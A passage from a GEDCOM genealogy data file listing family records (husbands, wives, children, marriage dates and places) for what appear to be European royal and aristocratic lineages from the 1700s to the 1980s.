+1 NAME James  /Cartland/
+1 SEX M
+1 FAMS @F1422@
+0 @I3008@ INDI
+1 NAME Flora  //
+1 SEX F
+1 FAMS @F1422@
+0 @I3009@ INDI
+1 NAME   /Cartland/
+1 SEX F
+1 DEAT
+2 DATE ABT    1911
+1 FAMC @F1418@
+0 @I3010@ INDI
+1 NAME Glen  /McCorquodale/
+1 SEX M
+1 BIRT
+2 DATE 31 DEC 1939
+1 FAMC @F1415@
+0 @F1@ FAM
+1 HUSB @I2@
+1 WIFE @I1@
+1 CHIL @I3@
+1 CHIL @I4@
+1 CHIL @I5@
+1 CHIL @I6@
+1 CHIL @I7@
+1 CHIL @I8@
+1 CHIL @I9@
+1 CHIL @I10@
+1 CHIL @I11@
+1 DIV N
+1 MARR
+2 DATE 10 FEB 1840
+2 PLAC Chapel Royal,St. James Palace,England
+0 @F2@ FAM
+1 HUSB @I4@
+1 WIFE @I12@
+1 CHIL @I13@
+1 CHIL @I14@
+1 CHIL @I15@
+1 CHIL @I16@
+1 CHIL @I17@
+1 CHIL @I18@
+1 MARR
+2 DATE 10 MAR 1863
+2 PLAC St. George Chap.,Windsor,,England
+0 @F3@ FAM
+1 HUSB @I20@
+1 WIFE @I3@
+1 CHIL @I21@
+1 CHIL @I77@
+1 CHIL @I72@
+1 CHIL @I73@
+1 CHIL @I74@
+1 CHIL @I75@
+1 CHIL @I76@
+1 CHIL @I78@
+1 MARR
+2 DATE 25 JAN 1858
+2 PLAC London,England
+0 @F4@ FAM
+1 HUSB @I37@
+1 WIFE @I39@
+1 CHIL @I46@
+1 CHIL @I47@
+1 CHIL @I48@
+1 CHIL @I49@
+1 CHIL @I50@
+1 DIV N
+1 MARR
+2 DATE 26 NOV 1894
+2 PLAC Winter Palace,,St. Petersburg,Russia
+0 @F5@ FAM
+1 HUSB @I10@
+1 WIFE @I23@
+1 CHIL @I24@
+1 CHIL @I129@
+1 MARR
+2 DATE 27 APR 1882
+2 PLAC St. George Chap.,Windsor,,England
+0 @F6@ FAM
+1 HUSB @I25@
+1 WIFE @I11@
+1 CHIL @I26@
+1 CHIL @I27@
+1 CHIL @I28@
+1 CHIL @I29@
+1 MARR
+2 DATE 23 JUL 1885
+2 PLAC Whippingham,Isle of Wight
+0 @F7@ FAM
+1 HUSB @I14@
+1 WIFE @I30@
+1 CHIL @I31@
+1 CHIL @I32@
+1 CHIL @I33@
+1 CHIL @I34@
+1 CHIL @I35@
+1 CHIL @I36@
+1 MARR
+2 DATE  6 JUL 1893
+2 PLAC Chapel Royal,St. James Palace
+0 @F8@ FAM
+1 HUSB @I22@
+1 WIFE @I5@
+1 CHIL @I38@
+1 CHIL @I84@
+1 CHIL @I79@
+1 CHIL @I83@
+1 CHIL @I86@
+1 CHIL @I39@
+1 CHIL @I85@
+1 MARR
+2 DATE  1 JUL 1862
+2 PLAC Osborne House,Isle of Wight
+0 @F9@ FAM
+1 HUSB @I40@
+1 WIFE @I41@
+1 CHIL @I37@
+1 CHIL @I1568@
+1 CHIL @I153@
+1 CHIL @I154@
+1 CHIL @I155@
+1 CHIL @I156@
+1 MARR
+2 DATE        1866
+0 @F10@ FAM
+1 HUSB @I42@
+1 WIFE @I43@
+1 CHIL @I44@
+1 CHIL @I353@
+1 CHIL @I2665@
+1 CHIL @I2666@
+1 MARR
+2 DATE        1817
+0 @F11@ FAM
+1 HUSB @I44@
+1 WIFE @I45@
+1 CHIL @I491@
+1 CHIL @I492@
+1 CHIL @I40@
+1 CHIL @I149@
+1 CHIL @I150@
+1 CHIL @I94@
+1 CHIL @I151@
+1 CHIL @I152@
+1 MARR
+2 DATE        1840
+0 @F12@ FAM
+1 HUSB @I32@
+1 WIFE @I51@
+1 CHIL @I52@
+1 CHIL @I53@
+1 DIV N
+1 MARR
+2 DATE 26 APR 1923
+0 @F13@ FAM
+1 HUSB @I54@
+1 WIFE @I53@
+1 CHIL @I55@
+1 CHIL @I56@
+1 DIV Y
+1 MARR
+2 DATE  6 MAY 1960
+2 PLAC Westminster,Cathedral,London,England
+0 @F14@ FAM
+1 HUSB @I57@
+1 WIFE @I52@
+1 CHIL @I58@
+1 CHIL @I59@
+1 CHIL @I60@
+1 CHIL @I61@
+1 DIV N
+1 MARR
+2 DATE 20 NOV 1947
+2 PLAC Westminster,Abbey,London,England
+0 @F15@ FAM
+1 HUSB @I62@
+1 WIFE @I59@
+1 CHIL @I63@
+1 CHIL @I64@
+1 DIV N
+1 MARR
+2 DATE 14 NOV 1973
+2 PLAC Westminster,Abbey,London,England
+0 @F16@ FAM
+1 HUSB @I58@
+1 WIFE @I65@
+1 CHIL @I115@
+1 CHIL @I116@
+1 DIV N
+1 MARR
+2 DATE 29 JUL 1981
+2 PLAC St. Paul's,Cathedral,London,England
+0 @F17@ FAM
+1 HUSB @I35@
+1 WIFE @I66@
+1 CHIL @I67@
+1 CHIL @I106@
+1 CHIL @I107@
+1 MARR
+2 DATE 29 NOV 1934
+2 PLAC Westminster,Abbey,London,England
+0 @F18@ FAM
+1 HUSB @I68@
+1 WIFE @I33@
+1 CHIL @I244@
+1 CHIL @I291@
+1 MARR
+2 DATE 28 FEB 1922
+2 PLAC Westminster,Abbey,London,England
+0 @F19@ FAM
+1 HUSB @I34@
+1 WIFE @I69@
+1 CHIL @I87@
+1 CHIL @I88@
+1 MARR
+2 DATE  6 NOV 1935
+2 PLAC Buckingham,Palace,London,England
+0 @F20@ FAM
+1 HUSB @I31@
+1 WIFE @I70@
+1 DIV N
+1 MARR
+2 DATE  3 JUN 1937
+2 PLAC Chateau de Cande,Monts,,France
+0 @F21@ FAM
+1 HUSB @I71@
+1 WIFE @I17@
+1 CHIL @I450@
+1 MARR
+2 DATE 22 JUL 1896
+2 PLAC Buckingham,Palace,London,England
+0 @F22@ FAM
+1 HUSB @I72@
+1 WIFE @I79@
+1 CHIL @I80@
+1 CHIL @I81@
+1 CHIL @I82@
+1 MARR
+2 DATE        1888
+0 @F23@ FAM
+1 HUSB @I88@
+1 WIFE @I89@
+1 CHIL @I90@
+1 CHIL @I317@
+1 CHIL @I318@
+1 MARR
+2 DATE    JUL 1972
+0 @F24@ FAM
+1 HUSB @I91@
+1 WIFE @I70@
+1 DIV Y
+1 MARR
+2 DATE        1916
+0 @F25@ FAM
+1 HUSB @I92@
+1 WIFE @I70@
+1 DIV Y
+1 MARR
+2 DATE        1928
+0 @F26@ FAM
+1 HUSB @I6@
+1 WIFE @I94@
+1 CHIL @I95@
+1 CHIL @I96@
+1 CHIL @I97@
+1 CHIL @I98@
+1 CHIL @I99@
+1 MARR
+2 DATE 23 JAN 1874
+2 PLAC Winter Palace,St. Petersburg,Russia
+0 @F27@ FAM
+1 HUSB @I100@
+1 WIFE @I38@
+1 CHIL @I101@
+1 CHIL @I238@
+1 CHIL @I102@
+1 CHIL @I103@
+1 MARR
+2 DATE        1884
+0 @F28@ FAM
+1 HUSB @I104@
+1 WIFE @I101@
+1 CHIL @I147@
+1 CHIL @I148@
+1 CHIL @I463@
+1 CHIL @I476@
+1 CHIL @I57@
+1 MARR
+2 DATE        1903
+0 @F29@ FAM
+1 HUSB @I105@
+1 WIFE @I15@
+1 CHIL @I125@
+1 CHIL @I952@
+1 MARR
+2 DATE 27 JUL 1889
+2 PLAC Buckingham,Palace,London,England
+0 @F30@ FAM
+1 HUSB @I108@
+1 WIFE @I106@
+1 CHIL @I109@
+1 CHIL @I110@
+1 MARR
+2 DATE    APR 1963
+2 PLAC ,,England
+0 @F31@ FAM
+1 HUSB @I67@
+1 WIFE @I111@
+1 CHIL @I112@
+1 CHIL @I113@
+1 CHIL @I114@
+1 MARR
+2 DATE        1961
+0 @F32@ FAM
+1 HUSB @I117@
+1 WIFE @I7@
+1 CHIL @I310@
+1 CHIL @I311@
+1 CHIL @I312@
+1 CHIL @I118@
+1 CHIL @I313@
+1 MARR
+2 DATE  5 JUL 1866
+2 PLAC Windsor Castle,,,England
+0 @F33@ FAM
+1 HUSB @I119@
+1 WIFE @I118@
+1 DIV Y
+0 @F34@ FAM
+1 HUSB @I9@
+1 WIFE @I120@
+1 CHIL @I121@
+1 CHIL @I122@
+1 CHIL @I123@
+1 MARR
+2 DATE 13 MAR 1879
+2 PLAC St. George Chap.,Windsor,,England
+0 @F35@ FAM
+1 HUSB @I124@
+1 WIFE @I121@
+1 CHIL @I445@
+1 CHIL @I1059@
+1 CHIL @I447@
+1 CHIL @I448@
+1 CHIL @I449@
+1 MARR
+2 DATE 15 JUN 1905
+2 PLAC Windsor,England
+0 @F36@ FAM
+1 HUSB @I122@
+1 WIFE @I125@
+1 CHIL @I2155@
+0 @F37@ FAM
+1 HUSB @I126@
+1 WIFE @I123@
+1 CHIL @I1706@
+0 @F38@ FAM
+1 HUSB @I280@
+1 WIFE @I24@
+1 CHIL @I287@
+1 CHIL @I288@
+1 CHIL @I289@
+0 @F39@ FAM
+1 HUSB @I130@
+1 WIFE @I131@
+1 CHIL @I141@
+1 CHIL @I202@
+1 CHIL @I203@
+1 CHIL @I204@
+1 CHIL @I133@
+1 CHIL @I209@
+1 CHIL @I210@
+1 CHIL @I212@
+1 CHIL @I213@
+1 CHIL @I132@
+1 CHIL @I214@
+1 CHIL @I215@
+1 CHIL @I216@
+1 CHIL @I217@
+1 CHIL @I218@
+0 @F40@ FAM
+1 HUSB @I132@
+1 WIFE @I134@
+1 CHIL @I262@
+1 CHIL @I135@
+1 CHIL @I136@
+0 @F41@ FAM
+1 HUSB @I137@
+1 WIFE @I136@
+1 CHIL @I30@
+1 CHIL @I278@
+1 CHIL @I279@
+1 CHIL @I280@
+0 @F42@ FAM
+1 HUSB @I133@
+1 WIFE @I138@
+1 CHIL @I1@
+1 MARR
+2 DATE 11 JUL 1818
+2 PLAC Kew Palace
+0 @F43@ FAM
+1 HUSB @I139@
+1 WIFE @I140@
+1 CHIL @I1737@
+1 CHIL @I2@
+1 DIV Y
+1 MARR
+2 DATE 31 JUL 1817
+2 PLAC Gotha
+0 @F44@ FAM
+1 HUSB @I141@
+1 WIFE @I142@
+1 MARR
+2 DATE        1785
+0 @F45@ FAM
+1 HUSB @I141@
+1 WIFE @I143@
+1 CHIL @I144@
+1 MARR
+2 DATE  8 APR 1795
+2 PLAC Chapel Royal,St James Palace,,England
+0 @F46@ FAM
+1 HUSB @I145@
+1 WIFE @I146@
+1 CHIL @I173@
+1 CHIL @I174@
+1 CHIL @I175@
+1 CHIL @I176@
+1 CHIL @I177@
+1 CHIL @I178@
+1 CHIL @I179@
+1 CHIL @I180@
+1 CHIL @I51@
+1 CHIL @I181@
+0 @F47@ FAM
+1 HUSB @I149@
+1 WIFE @I157@
+1 CHIL @I158@
+1 CHIL @I159@
+1 CHIL @I160@
+1 CHIL @I1362@
+1 MARR
+2 DATE        1874
+0 @F48@ FAM
+1 HUSB @I160@
+1 WIFE @I161@
+1 MARR
+2 DATE        1921
+0 @F49@ FAM
+1 HUSB @I83@
+1 WIFE @I97@
+1 DIV Y
+1 MARR
+2 DATE        1894
+0 @F50@ FAM
+1 HUSB @I152@
+1 WIFE @I163@
+1 CHIL @I1355@
+1 CHIL @I164@
+1 MARR
+2 DATE        1889
+0 @F51@ FAM
+1 HUSB @I2675@
+1 WIFE @I154@
+1 CHIL @I166@
+1 CHIL @I1562@
+1 CHIL @I1563@
+1 CHIL @I1564@
+1 CHIL @I1565@
+1 CHIL @I1566@
+1 CHIL @I1567@
+1 MARR
+2 DATE        1894
+0 @F52@ FAM
+1 HUSB @I167@
+1 WIFE @I166@
+0 @F53@ FAM
+1 HUSB @I60@
+1 WIFE @I168@
+1 CHIL @I827@
+1 CHIL @I2958@
+1 MARR
+2 DATE 23 JUL 1986
+2 PLAC Westminster,Abbey,London,England
+0 @F54@ FAM
+1 HUSB @I169@
+1 WIFE @I170@
+1 CHIL @I822@
+1 CHIL @I168@
+1 DIV Y
+1 MARR
+2 DATE    JAN 1956
+2 PLAC St. Margarets,Westminster,England
+0 @F55@ FAM
+1 HUSB @I171@
+1 WIFE @I172@
+1 CHIL @I70@
+0 @F56@ FAM
+1 HUSB @I182@
+1 WIFE @I183@
+1 CHIL @I145@
+0 @F57@ FAM
+1 HUSB @I184@
+1 WIFE @I185@
+1 CHIL @I186@
+1 CHIL @I182@
+0 @F58@ FAM
+1 HUSB @I187@
+1 WIFE @I188@
+1 CHIL @I189@
+1 CHIL @I184@
+0 @F59@ FAM
+1 HUSB @I190@
+1 WIFE @I188@
+0 @F60@ FAM
+1 HUSB @I191@
+1 WIFE @I174@
+0 @F61@ FAM
+1 HUSB @I175@
+1 WIFE @I192@
+0 @F62@ FAM
+1 HUSB @I176@
+1 WIFE @I193@
+1 CHIL @I1962@
+1 CHIL @I1963@
+0 @F63@ FAM
+1 HUSB @I178@
+1 WIFE @I194@
+0 @F64@ FAM
+1 HUSB @I195@
+1 WIFE @I179@
+0 @F65@ FAM
+1 HUSB @I180@
+1 WIFE @I196@
+0 @F66@ FAM
+1 HUSB @I181@
+1 WIFE @I197@
+0 @F67@ FAM
+1 HUSB @I19@
+1 WIFE @I1216@
+1 CHIL @I23@
+1 CHIL @I656@
+0 @F68@ FAM
+1 HUSB @I199@
+1 WIFE @I200@
+1 CHIL @I120@
+0 @F69@ FAM
+1 HUSB @I201@
+1 WIFE @I8@
+1 MARR
+2 DATE 21 MAR 1871
+2 PLAC St. George Chap.,Windsor,,England
+0 @F70@ FAM
+1 HUSB @I2448@
+0 @F71@ FAM
+1 HUSB @I207@
+1 WIFE @I208@
+1 CHIL @I146@
+0 @F72@ FAM
+1 HUSB @I211@
+1 WIFE @I210@
+1 MARR
+2 DATE  7 APR 1818
+2 PLAC Buckingham House
+0 @F73@ FAM
+1 HUSB @I203@
+1 WIFE @I219@
+1 CHIL @I220@
+1 CHIL @I221@
+1 CHIL @I222@
+1 CHIL @I223@
+1 MARR
+2 DATE 11 JUL 1818
+2 PLAC Kew Palace
+0 @F74@ FAM
+1 HUSB @I225@
+1 WIFE @I226@
+1 CHIL @I604@
+1 CHIL @I12@
+1 CHIL @I227@
+1 CHIL @I41@
+1 CHIL @I254@
+1 CHIL @I1663@
+1 MARR
+2 DATE        1842
+0 @F75@ FAM
+1 HUSB @I227@
+1 WIFE @I228@
+1 CHIL @I405@
+1 CHIL @I466@
+1 CHIL @I163@
+1 CHIL @I229@
+1 CHIL @I2673@
+1 CHIL @I104@
+1 CHIL @I465@
+1 CHIL @I467@
+1 MARR
+2 DATE        1867
+0 @F76@ FAM
+1 HUSB @I229@
+1 WIFE @I1362@
+1 CHIL @I66@
+1 CHIL @I236@
+1 CHIL @I237@
+1 CHIL @I2964@
+1 CHIL @I2967@
+1 MARR
+2 DATE        1902
+0 @F77@ FAM
+1 HUSB @I124@
+1 WIFE @I238@
+1 MARR
+2 DATE  3 NOV 1923
+2 PLAC Chapel Royal,St. James Palace,England
+0 @F78@ FAM
+1 HUSB @I239@
+1 WIFE @I93@
+1 CHIL @I240@
+1 CHIL @I241@
+1 CHIL @I1712@
+1 CHIL @I65@
+1 CHIL @I242@
+1 DIV Y
+1 MARR
+2 DATE        1954
+2 PLAC Westminster,Abbey,London,England
+0 @F79@ FAM
+1 HUSB @I239@
+1 WIFE @I243@
+1 DIV N
+1 MARR
+2 DATE 14 JUL 1976
+2 PLAC Caxton Hall
+0 @F80@ FAM
+1 HUSB @I1696@
+1 WIFE @I144@
+1 MARR
+2 DATE  2 MAY 1816
+2 PLAC Carlton House,London,England
+0 @F81@ FAM
+1 HUSB @I246@
+1 WIFE @I517@
+1 CHIL @I556@
+0 @F82@ FAM
+1 HUSB @I247@
+1 WIFE @I204@
+1 MARR
+2 DATE 18 MAY 1797
+2 PLAC Chapel Royal,St James Palace,,England
+0 @F83@ FAM
+1 HUSB @I212@
+1 WIFE @I248@
+1 CHIL @I249@
+1 MARR
+2 DATE 29 AUG 1815
+2 PLAC Carlton House,London,England
+0 @F84@ FAM
+1 HUSB @I249@
+1 WIFE @I250@
+1 CHIL @I251@
+1 CHIL @I252@
+1 CHIL @I253@
+1 MARR
+2 DATE 18 FEB 1843
+2 PLAC Hanover,Germany
+0 @F85@ FAM
+1 HUSB @I251@
+1 WIFE @I254@
+1 CHIL @I255@
+1 CHIL @I256@
+1 CHIL @I257@
+1 CHIL @I258@
+1 CHIL @I259@
+1 CHIL @I552@
+0 @F86@ FAM
+1 HUSB @I261@
+1 WIFE @I252@
+0 @F87@ FAM
+1 HUSB @I262@
+1 WIFE @I263@
+1 CHIL @I264@
+1 CHIL @I265@
+1 CHIL @I266@
+0 @F88@ FAM
+1 HUSB @I264@
+1 WIFE @I267@
+1 CHIL @I268@
+1 CHIL @I269@
+1 CHIL @I270@
+0 @F89@ FAM
+1 HUSB @I271@
+1 WIFE @I135@
+1 CHIL @I272@
+0 @F90@ FAM
+1 HUSB @I272@
+1 WIFE @I273@
+1 CHIL @I274@
+1 CHIL @I275@
+1 CHIL @I276@
+1 CHIL @I277@
+0 @F91@ FAM
+1 HUSB @I278@
+1 WIFE @I281@
+1 CHIL @I282@
+1 CHIL @I283@
+1 CHIL @I284@
+1 CHIL @I285@
+0 @F92@ FAM
+1 HUSB @I286@
+1 WIFE @I127@
+1 CHIL @I1229@
+1 CHIL @I1256@
+1 CHIL @I1257@
+1 CHIL @I1258@
+1 MARR
+2 DATE 25 JAN 1308
+2 PLAC Bolongne
+0 @F93@ FAM
+1 HUSB @I290@
+1 WIFE @I214@
+0 @F94@ FAM
+1 HUSB @I244@
+1 WIFE @I292@
+1 CHIL @I293@
+1 CHIL @I294@
+1 CHIL @I295@
+1 DIV Y
+1 MARR
+2 DATE        1949
+0 @F95@ FAM
+1 HUSB @I291@
+1 WIFE @I296@
+1 CHIL @I297@
+1 DIV Y
+1 MARR
+2 DATE        1952
+0 @F96@ FAM
+1 HUSB @I298@
+1 WIFE @I299@
+1 CHIL @I226@
+1 CHIL @I300@
+1 MARR
+2 DATE        1810
+0 @F97@ FAM
+1 HUSB @I301@
+1 WIFE @I302@
+1 CHIL @I298@
+1 CHIL @I134@
+0 @F98@ FAM
+1 HUSB @I303@
+1 WIFE @I304@
+1 CHIL @I305@
+1 CHIL @I137@
+1 CHIL @I306@
+0 @F99@ FAM
+1 HUSB @I307@
+1 WIFE @I306@
+1 CHIL @I308@
+0 @F100@ FAM
+1 HUSB @I309@
+1 WIFE @I96@
+1 CHIL @I438@
+1 CHIL @I437@
+1 CHIL @I436@
+1 CHIL @I1096@
+1 CHIL @I1097@
+1 CHIL @I1098@
+1 MARR
+2 DATE 10 JAN 1893
+2 PLAC Sigmaringen,Germany
+0 @F101@ FAM
+1 HUSB @I244@
+1 WIFE @I314@
+1 CHIL @I315@
+1 MARR
+2 DATE        1967
+0 @F102@ FAM
+1 HUSB @I291@
+1 WIFE @I316@
+1 CHIL @I982@
+1 MARR
+2 DATE        1978
+0 @F103@ FAM
+1 HUSB @I107@
+1 WIFE @I319@
+1 CHIL @I320@
+1 CHIL @I801@
+1 MARR
+2 DATE 30 JUN 1978
+2 PLAC Vienna,Austria
+0 @F104@ FAM
+1 HUSB @I321@
+1 WIFE @I322@
+1 CHIL @I323@
+1 CHIL @I324@
+1 CHIL @I325@
+1 CHIL @I326@
+1 CHIL @I327@
+1 CHIL @I328@
+1 CHIL @I329@
+1 CHIL @I330@
+1 CHIL @I331@
+1 MARR
+2 DATE 22 AUG 1705
+2 PLAC Herrenhausen
+0 @F105@ FAM
+1 HUSB @I323@
+1 WIFE @I332@
+1 CHIL @I333@
+1 CHIL @I130@
+1 CHIL @I334@
+1 CHIL @I335@
+1 CHIL @I336@
+1 CHIL @I337@
+1 CHIL @I338@
+1 CHIL @I339@
+1 CHIL @I340@
+1 MARR
+2 DATE  8 MAY 1736
+2 PLAC Chapel Royal,St. James
+0 @F106@ FAM
+1 HUSB @I341@
+1 WIFE @I342@
+1 CHIL @I321@
+1 CHIL @I343@
+1 DIV Y
+1 MARR
+2 DATE 22 NOV 1682
+2 PLAC Celle
+0 @F107@ FAM
+1 HUSB @I344@
+1 WIFE @I331@
+1 CHIL @I1637@
+1 CHIL @I1638@
+1 CHIL @I1639@
+1 CHIL @I764@
+1 CHIL @I1640@
+1 MARR
+2 DATE 11 DEC 1743
+2 PLAC Christiansborg
+0 @F108@ FAM
+1 HUSB @I345@
+1 WIFE @I346@
+1 CHIL @I225@
+1 MARR
+2 DATE        1810
+0 @F109@ FAM
+1 HUSB @I347@
+1 WIFE @I348@
+1 CHIL @I224@
+1 CHIL @I100@
+1 CHIL @I486@
+1 CHIL @I25@
+1 CHIL @I487@
+1 MARR
+2 DATE        1851
+0 @F110@ FAM
+1 HUSB @I349@
+1 WIFE @I350@
+1 CHIL @I493@
+1 CHIL @I357@
+1 CHIL @I347@
+1 CHIL @I45@
+1 MARR
+2 DATE        1804
+0 @F111@ FAM
+1 HUSB @I351@
+1 WIFE @I352@
+1 CHIL @I348@
+0 @F112@ FAM
+1 HUSB @I353@
+1 WIFE @I354@
+1 CHIL @I165@
+1 CHIL @I228@
+1 CHIL @I2671@
+1 CHIL @I2677@
+1 MARR
+2 DATE        1848
+0 @F113@ FAM
+1 HUSB @I355@
+1 WIFE @I356@
+1 CHIL @I354@
+0 @F114@ FAM
+1 HUSB @I357@
+1 WIFE @I358@
+1 CHIL @I22@
+1 CHIL @I497@
+1 CHIL @I498@
+1 CHIL @I499@
+1 MARR
+2 DATE        1836
+0 @F115@ FAM
+1 HUSB @I360@
+1 WIFE @I361@
+1 CHIL @I207@
+0 @F116@ FAM
+1 HUSB @I362@
+1 WIFE @I363@
+1 CHIL @I208@
+0 @F117@ FAM
+1 HUSB @I364@
+1 WIFE @I365@
+1 CHIL @I183@
+0 @F118@ FAM
+1 HUSB @I366@
+1 WIFE @I367@
+1 CHIL @I239@
+0 @F119@ FAM
+1 HUSB @I368@
+1 WIFE @I369@
+1 CHIL @I93@
+0 @F120@ FAM
+1 HUSB @I370@
+1 WIFE @I371@
+1 CHIL @I368@
+0 @F121@ FAM
+1 HUSB @I372@
+1 WIFE @I373@
+1 CHIL @I371@
+0 @F122@ FAM
+1 HUSB @I374@
+1 WIFE @I375@
+1 CHIL @I373@
+0 @F123@ FAM
+1 HUSB @I376@
+1 WIFE @I377@
+1 CHIL @I372@
+0 @F124@ FAM
+1 HUSB @I378@
+1 WIFE @I379@
+1 CHIL @I370@
+0 @F125@ FAM
+1 HUSB @I380@
+1 WIFE @I381@
+1 CHIL @I379@
+0 @F126@ FAM
+1 HUSB @I382@
+1 WIFE @I383@
+1 CHIL @I378@
+0 @F127@ FAM
+1 HUSB @I384@
+1 WIFE @I385@
+1 CHIL @I367@
+1 CHIL @I1713@
+1 CHIL @I1714@
+0 @F128@ FAM
+1 HUSB @I386@
+1 WIFE @I387@
+1 CHIL @I384@
+0 @F129@ FAM
+1 HUSB @I388@
+1 WIFE @I389@
+1 CHIL @I385@
+0 @F130@ FAM
+1 HUSB @I390@
+1 WIFE @I391@
+1 CHIL @I369@
+0 @F131@ FAM
+1 HUSB @I392@
+1 WIFE @I393@
+1 CHIL @I390@
+0 @F132@ FAM
+1 HUSB @I394@
+1 WIFE @I395@
+1 CHIL @I391@
+0 @F133@ FAM
+1 HUSB @I396@
+1 WIFE @I397@
+1 CHIL @I1733@
+1 CHIL @I366@
+1 CHIL @I1734@
+0 @F134@ FAM
+1 HUSB @I398@
+1 WIFE @I399@
+1 CHIL @I396@
+0 @F135@ FAM
+1 HUSB @I400@
+1 WIFE @I401@
+1 CHIL @I397@
+0 @F136@ FAM
+1 HUSB @I21@
+1 WIFE @I402@
+1 CHIL @I420@
+1 CHIL @I421@
+1 CHIL @I422@
+1 CHIL @I423@
+1 CHIL @I424@
+1 CHIL @I425@
+1 CHIL @I426@
+0 @F137@ FAM
+1 HUSB @I403@
+1 WIFE @I77@
+0 @F138@ FAM
+1 HUSB @I404@
+1 WIFE @I74@
+0 @F139@ FAM
+1 HUSB @I405@
+1 WIFE @I76@
+1 CHIL @I439@
+1 CHIL @I234@
+1 CHIL @I233@
+1 CHIL @I232@
+1 CHIL @I231@
+1 CHIL @I230@
+1 MARR
+2 DATE 27 OCT 1889
+2 PLAC Athens,Greece
+0 @F140@ FAM
+1 HUSB @I406@
+1 WIFE @I78@
+0 @F141@ FAM
+1 HUSB @I129@
+1 WIFE @I407@
+0 @F142@ FAM
+1 HUSB @I26@
+1 WIFE @I408@
+1 CHIL @I509@
+0 @F143@ FAM
+1 HUSB @I409@
+1 WIFE @I27@
+1 CHIL @I430@
+1 CHIL @I591@
+1 CHIL @I433@
+1 CHIL @I2642@
+1 CHIL @I431@
+1 CHIL @I432@
+1 CHIL @I2643@
+1 MARR
+2 DATE        1906
+2 PLAC Church of,San Jeronimo,Madrid,Spain
+0 @F144@ FAM
+1 HUSB @I151@
+1 WIFE @I84@
+1 MARR
+2 DATE        1884
+0 @F145@ FAM
+1 HUSB @I162@
+1 WIFE @I410@
+1 CHIL @I511@
+1 CHIL @I411@
+1 CHIL @I412@
+1 CHIL @I43@
+1 CHIL @I413@
+1 CHIL @I414@
+1 CHIL @I2654@
+1 CHIL @I416@
+1 CHIL @I1029@
+1 CHIL @I418@
+0 @F146@ FAM
+1 HUSB @I21@
+1 WIFE @I419@
+1 MARR
+2 DATE  5 NOV 1922
+2 PLAC Haus Doorn,Netherlands
+0 @F147@ FAM
+1 HUSB @I412@
+1 WIFE @I427@
+1 CHIL @I428@
+1 CHIL @I20@
+0 @F148@ FAM
+1 HUSB @I429@
+1 WIFE @I428@
+0 @F149@ FAM
+1 HUSB @I432@
+1 WIFE @I434@
+1 CHIL @I592@
+1 CHIL @I435@
+1 CHIL @I593@
+1 CHIL @I594@
+1 MARR
+2 DATE        1935
+2 PLAC Rome,,Italy
+0 @F150@ FAM
+1 HUSB @I439@
+1 WIFE @I437@
+1 DIV Y
+1 MARR
+2 DATE 27 FEB 1921
+2 PLAC Bucharest,Romania
+0 @F151@ FAM
+1 HUSB @I440@
+1 WIFE @I436@
+1 CHIL @I475@
+1 CHIL @I874@
+1 CHIL @I875@
+0 @F152@ FAM
+1 HUSB @I435@
+1 WIFE @I441@
+1 CHIL @I442@
+1 CHIL @I443@
+1 CHIL @I444@
+1 MARR
+2 DATE        1962
+0 @F153@ FAM
+1 HUSB @I450@
+1 WIFE @I451@
+1 CHIL @I958@
+1 CHIL @I959@
+1 CHIL @I452@
+1 MARR
+2 DATE        1929
+0 @F154@ FAM
+1 HUSB @I452@
+1 WIFE @I453@
+1 CHIL @I454@
+1 CHIL @I455@
+1 MARR
+2 DATE    AUG 1968
+2 PLAC Oslo Cathedral,Oslo,Norway
+0 @F155@ FAM
+1 HUSB @I456@
+1 WIFE @I457@
+1 CHIL @I124@
+1 CHIL @I1408@
+1 CHIL @I446@
+1 MARR
+2 DATE        1881
+0 @F156@ FAM
+1 HUSB @I458@
+1 WIFE @I459@
+1 CHIL @I456@
+1 CHIL @I2770@
+1 CHIL @I597@
+1 CHIL @I2771@
+1 MARR
+2 DATE  6 JUN 1857
+2 PLAC Biebrich
+0 @F157@ FAM
+1 HUSB @I83@
+1 WIFE @I460@
+1 CHIL @I461@
+1 CHIL @I462@
+1 MARR
+2 DATE        1905
+0 @F158@ FAM
+1 HUSB @I461@
+1 WIFE @I463@
+1 CHIL @I2629@
+1 CHIL @I2630@
+1 CHIL @I2631@
+1 MARR
+2 DATE        1931
+0 @F159@ FAM
+1 HUSB @I462@
+1 WIFE @I464@
+1 MARR
+2 DATE        1937
+0 @F160@ FAM
+1 HUSB @I438@
+1 WIFE @I233@
+1 CHIL @I468@
+1 DIV Y
+1 MARR
+2 DATE 10 MAR 1921
+2 PLAC Athens,Greece
+0 @F161@ FAM
+1 HUSB @I468@
+1 WIFE @I469@
+1 CHIL @I972@
+1 CHIL @I973@
+1 CHIL @I974@
+1 CHIL @I975@
+1 CHIL @I976@
+1 MARR
+2 DATE 10 JUN 1948
+2 PLAC Athens,Greece
+0 @F162@ FAM
+1 HUSB @I232@
+1 WIFE @I470@
+1 CHIL @I441@
+1 CHIL @I471@
+1 CHIL @I1064@
+0 @F163@ FAM
+1 HUSB @I471@
+1 WIFE @I472@
+1 CHIL @I609@
+1 CHIL @I1060@
+1 CHIL @I1061@
+1 CHIL @I1062@
+1 CHIL @I1063@
+1 MARR
+2 DATE 18 SEP 1964
+2 PLAC Athens,Greece
+0 @F164@ FAM
+1 HUSB @I234@
+1 WIFE @I473@
+1 CHIL @I474@
+1 MARR
+2 DATE  4 NOV 1919
+2 PLAC Athens,Greece
+0 @F165@ FAM
+1 HUSB @I475@
+1 WIFE @I474@
+1 CHIL @I877@
+0 @F166@ FAM
+1 HUSB @I477@
+1 WIFE @I147@
+1 CHIL @I478@
+1 MARR
+2 DATE        1931
+0 @F167@ FAM
+1 HUSB @I479@
+1 WIFE @I148@
+1 CHIL @I480@
+1 MARR
+2 DATE        1931
+0 @F168@ FAM
+1 HUSB @I481@
+1 WIFE @I476@
+1 MARR
+2 DATE        1930
+0 @F169@ FAM
+1 HUSB @I482@
+1 WIFE @I476@
+1 CHIL @I483@
+1 MARR
+2 DATE        1946
+0 @F170@ FAM
+1 HUSB @I484@
+1 WIFE @I485@
+1 CHIL @I303@
+1 CHIL @I595@
+1 CHIL @I356@
+0 @F171@ FAM
+1 HUSB @I488@
+1 WIFE @I224@
+0 @F172@ FAM
+1 HUSB @I486@
+1 WIFE @I489@
+1 MARR
+2 DATE        1889
+0 @F173@ FAM
+1 HUSB @I487@
+1 WIFE @I490@
+0 @F174@ FAM
+1 HUSB @I493@
+1 WIFE @I495@
+1 MARR
+2 DATE        1833
+0 @F175@ FAM
+1 HUSB @I103@
+1 WIFE @I494@
+1 CHIL @I500@
+1 CHIL @I501@
+0 @F176@ FAM
+1 HUSB @I102@
